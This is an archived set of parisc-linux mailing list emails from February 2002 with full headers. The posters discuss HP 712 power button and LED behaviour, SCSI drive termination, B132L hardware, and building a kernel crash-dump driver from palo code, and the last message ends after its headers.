Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621070 3181 80.91.229.3 (22 Nov 2014 01:51:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James S <smith-james@home.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 00:31:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 166EE4864
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 00:31:55 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 132AC9E980; Fri, 15 Feb 2002 07:19:04 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <002101c1b5ee$b5f8a620$02c1a8c0@james.co.uk>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14061

On Fri, Feb 15, 2002 at 02:02:19AM -0500, James S wrote:
> is it possible to hook the power button to the shutdown command like it is
> in hp-ux ?

I was testing a fresh install with 2.4.17-pa23 kernel last night on 712.
When I hit the power button it did a orderly shutdown and then powered
off.  Very nice.

Richard




From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power LED
Date: Fri, 15 Feb 2002 12:17:57 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <A9FF8C1C-2205-11D6-90EC-0030656F07A2@esiee.fr>
References: <002101c1b5ee$b5f8a620$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v480)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621071 3194 80.91.229.3 (22 Nov 2014 01:51:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:11 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "James S" <smith-james@home.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 04:18:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id E85AB4850
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 04:17:59 -0700 (MST)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.80.150])
	by mail.esiee.fr (Postfix) with ESMTP
	id A56B449C32; Fri, 15 Feb 2002 12:17:57 +0100 (CET)
In-Reply-To: <002101c1b5ee$b5f8a620$02c1a8c0@james.co.uk>
X-Mailer: Apple Mail (2.480)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14062

>>> what causes the power led to go out on the 712 systems ?
>>> is it software controlled ?
>>
>> I don't think so.
>> The power button is under software control but I think
>> the LED is wired to the power supply directly.
>>
>> grant
>
> was just wondering - mine goes out after the system starts loading - 
> flashes
> before that
>
> when it had hp-ux on it, it stayed on

We had the same problem here, and we solved it as follow:

When in Boot Admin, check the 'chassis' command.
We suppose that Chassis Codes must be turned 'on' so that the LED does 
not go out after booting.


Thibaut VARENE
PA/Linux ESIEE Team
http://www.esiee.fr/puffin




From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Clement Moyroud <clement@moyroud.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: kernel-2.4.17-pa22 boot problem B132L+ with serial
Date: Fri, 15 Feb 2002 12:25:36 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <3C6CF030.1040904@moyroud.net>
References: <OFCD5822D4.246FA364-ONC1256B61.0024B267@com> <20020215065553.945774861@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621071 3196 80.91.229.3 (22 Nov 2014 01:51:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 04:25:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B85474860
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 04:25:40 -0700 (MST)
Original-Received: from moyroud.net (lso.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id E197C49BDE; Fri, 15 Feb 2002 12:25:39 +0100 (CET)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14063

Grant Grundler wrote:

>"=?iso-8859-1?Q?Jo=EBl_Soete?=" wrote:
>
>>It was "built-in 21143 on B180L" (is there a difference here between b180
>>and b132?)
>>
>
>Yes. I don't think B132L had 100BT built-in.
>But I'm too lazy to check hwdb.parisc-linux.org right now.
>Bed time.
>

B132L has 100BT built-in too.

btw, Grant, have you seen Thibaut's mail about out serial ports problems 
on a B132L+ ?


Clement.




From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power LED
Date: Fri, 15 Feb 2002 07:46:51 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20020215074651.C18453@systemhalted>
References: <002101c1b5ee$b5f8a620$02c1a8c0@james.co.uk> <20020214231312.37ca1c9e.csuder@cisco.com> <200202150826.29543.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621071 3199 80.91.229.3 (22 Nov 2014 01:51:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 05:46:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F7FC4857
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 05:46:34 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g1FCkp219315
	for parisc-linux@lists.parisc-linux.org; Fri, 15 Feb 2002 07:46:51 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200202150826.29543.deller@gmx.de>; from deller@gmx.de on Fri, Feb 15, 2002 at 08:26:57AM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14064

> I know the power button works correctly on my c3000 and 715/64. Both
> systems shuts down the computer cleanly.
> But on another Apollo/50 machine (712/50 or 715/50 - I don't remember) 
> pressing the power-button turns off the machine immediately. This is a bug
> and should be fixed if possible.
> 
> Helge
>

The 715/50 Apollo has a hard wired power button, and a full array
of leds on the front to indicate power/heartbeat/rx-tx/disk access.

My 712/60 definatley has a soft button (since I routinely pull
the rear power plug when my "tinkering" causes a kernel crash), 
and the led stays on after booting.

c.




From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with dump driver.
Date: Fri, 15 Feb 2002 13:55:49 +0100
Organization: H.P
Lines: 41
Approved: news@gmane.org
Message-ID: <3C6D0555.BCDB04B6@admin.france.hp.com>
References: <3C6AA3C3.D21C4164@admin.france.hp.com> <20020215064352.86A404858@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------65A33C9FC6068FE95BD7F5E4"
X-Trace: ger.gmane.org 1416621071 3204 80.91.229.3 (22 Nov 2014 01:51:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:11 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 05:59:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66DCF486C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 05:59:51 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 556404F3
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 13:59:49 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id NAA20360; Fri, 15 Feb 2002 13:57:55 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14065

This is a multi-part message in MIME format.
--------------65A33C9FC6068FE95BD7F5E4
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I finaly found where the code is waiting. It is wainting on the interruption
from the scsi drive (it is normal :-( ). So for several "good" reason, Grant is
totaly right, I can't trust the driver, the buffer, and several other things....
So I take the decision to modify now the code and create my own dump_iodc_write,
dump_iodc_read, dump_iodc_wait, dump_iodc_open, dump_iodc_seek (I don't think
I need other functions). It is lots of works (because I have to understand how it 
works). So I'll let you know when it will be available. Thanks a lot to grant that
point to the right direction, now let's go at work :-)

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------65A33C9FC6068FE95BD7F5E4
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------65A33C9FC6068FE95BD7F5E4--




From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boris "Cmara" <vesmar@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hp 712/60 scsi problem
Date: Fri, 15 Feb 2002 06:37:37 -0800 (PST)
Lines: 24
Approved: news@gmane.org
Message-ID: <20020215143737.51537.qmail@web12506.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621072 3207 80.91.229.3 (22 Nov 2014 01:51:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 07:37:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12506.mail.yahoo.com (web12506.mail.yahoo.com [216.136.173.198])
	by dsl2.external.hp.com (Postfix) with SMTP id B59A1486B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 07:37:39 -0700 (MST)
Original-Received: from [167.157.26.11] by web12506.mail.yahoo.com via HTTP; Fri, 15 Feb 2002 06:37:37 PST
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14066

hi all,

I have a problem.
My hp 712/60 don't find scsi HDs (hd is a lps 525S).

Im trying with search boot in  boot admin.

what is the problem?

By default TE jumper is over. Is this correct?
scsi id is 6.

Sorry for my bad english,

thanx.



__________________________________________________
Do You Yahoo!?
Got something to say? Say it better with Yahoo! Video Mail 
http://mail.yahoo.com



From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: kernel-2.4.17-pa22 boot problem B132L+ with serial
Date: Fri, 15 Feb 2002 17:44:45 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20020215174445.G7053@parcelfarce.linux.theplanet.co.uk>
References: <OFCD5822D4.246FA364-ONC1256B61.0024B267@com> <20020215065553.945774861@dsl2.external.hp.com> <3C6CF030.1040904@moyroud.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621072 3210 80.91.229.3 (22 Nov 2014 01:51:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:12 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Clement Moyroud <clement@moyroud.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 10:44:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7CF8486A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 10:44:54 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16bmPd-0006MJ-00; Fri, 15 Feb 2002 17:44:45 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C6CF030.1040904@moyroud.net>; from clement@moyroud.net on Fri, Feb 15, 2002 at 12:25:36PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14067

On Fri, Feb 15, 2002 at 12:25:36PM +0100, Clement Moyroud wrote:
> btw, Grant, have you seen Thibaut's mail about out serial ports problems 
> on a B132L+ ?

I haven't seen it.  Are they swapped?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp 712/60 scsi problem
Date: Fri, 15 Feb 2002 10:34:40 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <4.3.2.7.2.20020215103051.0271c8c8@mira-sjc5-9.cisco.com>
References: <20020215143737.51537.qmail@web12506.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621072 3214 80.91.229.3 (22 Nov 2014 01:51:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:12 +0000 (UTC)
To: Boris =?iso-8859-1?Q?=22C=E1mara=22?= <vesmar@rocketmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 11:35:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id C99B9486F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Feb 2002 11:34:59 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id g1FIYeZ05125;
	Fri, 15 Feb 2002 10:34:43 -0800 (PST)
Original-Received: from CSUDER-W2K.cisco.com (dhcp-171-71-143-24.cisco.com [171.71.143.24])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ACB06760;
	Fri, 15 Feb 2002 10:34:59 -0800 (PST)
X-Sender: csuder@mira-sjc5-9.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
In-Reply-To: <20020215143737.51537.qmail@web12506.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14068

At 06:37 AM 2/15/2002 -0800, Boris "C=E1mara" wrote:
>hi all,
>
>I have a problem.
>My hp 712/60 don't find scsi HDs (hd is a lps 525S).
>
>Im trying with search boot in  boot admin.
>
>what is the problem?
>
>By default TE jumper is over. Is this correct?
>scsi id is 6.

For some reason the HP manual states the internal drive should *not* be=20
terminated. I'm been using a LPS1280S in a 712/80 with no issues.


>Sorry for my bad english,

Don't worry...

         Christian






From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pb with dump driver.
Date: Fri, 15 Feb 2002 12:08:18 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20020215190818.BB0464873@dsl2.external.hp.com>
References: <3C6AA3C3.D21C4164@admin.france.hp.com> <20020215064352.86A404858@dsl2.external.hp.com>  <3C6D0555.BCDB04B6@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621073 3216 80.91.229.3 (22 Nov 2014 01:51:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:13 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 15 12:08:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id BB0464873; Fri, 15 Feb 2002 12:08:18 -0700 (MST)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Fri, 15 Feb 2002 13:55:49 +0100." <3C6D0555.BCDB04B6@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14069

Bruno Vidal wrote:
> So I take the decision to modify now the code and create my own
> dump_iodc_write, dump_iodc_read, dump_iodc_wait, dump_iodc_open,
> dump_iodc_seek (I don't think I need other functions).

You should be able to leverage most of the code from palo.
Note that palo runs in th CPU in real-mode - not virtual mode.
You might consider doing the same for the dump code and just
be *very* careful about which functions you call.

Oh, and the dump path might want to do two other things:
1) PDC_IO_RESET_CLEAR
2) switch linux console back to PDC console

I don't know if some of those things are already happening.
If I have time, I'll look later.

palo is in CVS on the same server (cvs.parisc-linux.org) as our kernel.
(ie "cvs co palo" instead of linux)

> Thanks a lot to grant that point to the right direction,
> now let's go at work :-)

hehe..very welcome...I'm very happy to see you doing it...it's been
on my wish list for a long time.

thanks,
grant



From - Thu Nov 08 21:21:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Holst, Richard G (Dick), PROSH" <dholst@att.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] X windows on my D350 Server
Date: Fri, 15 Feb 2002 15:25:56 -0500
